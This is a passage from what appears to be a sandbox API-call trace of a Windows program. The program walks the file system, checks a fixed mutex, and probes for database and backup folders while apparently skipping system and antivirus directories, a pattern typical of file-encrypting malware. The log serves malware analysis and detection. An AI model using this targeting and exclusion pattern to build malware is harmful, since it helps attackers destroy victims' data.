lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.254] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0057.254] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.254] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.254] GlobalUnlock (hMem=0x44000c) returned 0 [0057.254] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.254] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.254] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.254] GlobalUnlock (hMem=0x44000c) returned 0 [0057.254] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.254] GlobalUnlock (hMem=0x440004) returned 0 [0057.254] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.254] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0057.254] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.254] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.255] GlobalUnlock (hMem=0x440004) returned 0 [0057.255] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.255] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.255] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.255] GlobalUnlock (hMem=0x440004) returned 0 [0057.255] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.255] GlobalUnlock (hMem=0x44000c) returned 0 [0057.255] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.255] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.255] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.255] GlobalUnlock (hMem=0x44000c) returned 0 [0057.255] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.255] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.255] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.255] GlobalUnlock (hMem=0x44000c) returned 0 [0057.255] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.255] GlobalUnlock (hMem=0x440004) returned 0 [0057.255] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.255] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared", len=0x21 | out: pbstr=0x18f444*="C:\\Program Files\\DVD Maker\\Shared") returned 1 [0057.255] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.255] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.255] GlobalUnlock (hMem=0x440004) returned 0 [0057.255] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.255] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.255] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.255] GlobalUnlock (hMem=0x440004) returned 0 [0057.255] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.256] GlobalUnlock (hMem=0x44000c) returned 0 [0057.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Microsoft\\Exchange Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0057.258] GetLastError () returned 0x3 [0057.258] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵\x18") returned 21 [0057.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18㾤Q\x181")) returned 0xffffffff [0057.260] GetLastError () returned 0x2 [0057.260] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.260] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.260] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@禔T企@\x18?T\x18;")) returned 0xffffffff [0057.262] GetLastError () returned 0x2 [0057.262] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.262] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.262] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@練R企@\x18?T\x18D")) returned 0xffffffff [0057.263] GetLastError () returned 0x2 [0057.263] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.263] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0057.263] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18禔T\x18j")) returned 0xffffffff [0057.265] GetLastError () returned 0x2 [0057.265] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.265] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵\x18") returned 37 [0057.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@練R企@\x18?T\x18q")) returned 0xffffffff [0057.266] GetLastError () returned 0x2 [0057.266] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.266] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\禐T\x80") returned 6 [0057.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ⶔR企@\x18?T\x18y")) returned 0xffffffff [0057.268] GetLastError () returned 0x2 [0057.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0057.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@缤R企@\x18?T\x18\x81")) returned 0xffffffff [0057.269] GetLastError () returned 0x2 [0057.269] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.269] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0057.270] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@練R企@\x18?T\x18\x88")) returned 0xffffffff [0057.272] GetLastError () returned 0x2 [0057.272] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0057.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ⶔR企@\x18?T\x18\x8f")) returned 0xffffffff [0057.274] GetLastError () returned 0x2 [0057.274] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.274] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0057.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@缤R企@\x18?T\x18\x97")) returned 0xffffffff [0057.275] GetLastError () returned 0x2 [0057.275] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.275] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0057.275] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.275] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.275] GlobalUnlock (hMem=0x44000c) returned 0 [0057.275] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.275] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.275] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.275] GlobalUnlock (hMem=0x44000c) returned 0 [0057.275] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.275] GlobalUnlock (hMem=0x440004) returned 0 [0057.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.276] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.276] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 46 [0057.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.276] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 15 [0057.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.276] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 11 [0057.276] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.276] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.276] GlobalUnlock (hMem=0x440004) returned 0 [0057.276] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.276] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.276] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.276] GlobalUnlock (hMem=0x440004) returned 0 [0057.276] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.276] GlobalUnlock (hMem=0x44000c) returned 0 [0057.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 15 [0057.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 11 [0057.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 9 [0057.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 18 [0057.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 28 [0057.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 10 [0057.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 8 [0057.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 9 [0057.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\", cchLength=0x22 | out: lpsz="c:\\program files\\dvd maker\\shared\\") returned 0x22 [0057.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵\x18") returned 13 [0057.277] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.277] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.277] GlobalUnlock (hMem=0x44000c) returned 0 [0057.277] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.277] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.277] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.277] GlobalUnlock (hMem=0x44000c) returned 0 [0057.277] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.277] GlobalUnlock (hMem=0x440004) returned 0 [0057.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0057.278] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.278] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0057.278] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0057.278] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.278] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.278] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.278] GlobalUnlock (hMem=0x440004) returned 0 [0057.278] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.278] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.279] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.279] GlobalUnlock (hMem=0x440004) returned 0 [0057.279] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.279] GlobalUnlock (hMem=0x44000c) returned 0 [0057.279] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.279] CharLowerBuffW (in: lpsz="Common.fxh", cchLength=0xa | out: lpsz="common.fxh") returned 0xa [0057.279] WideCharToMultiByte (in: 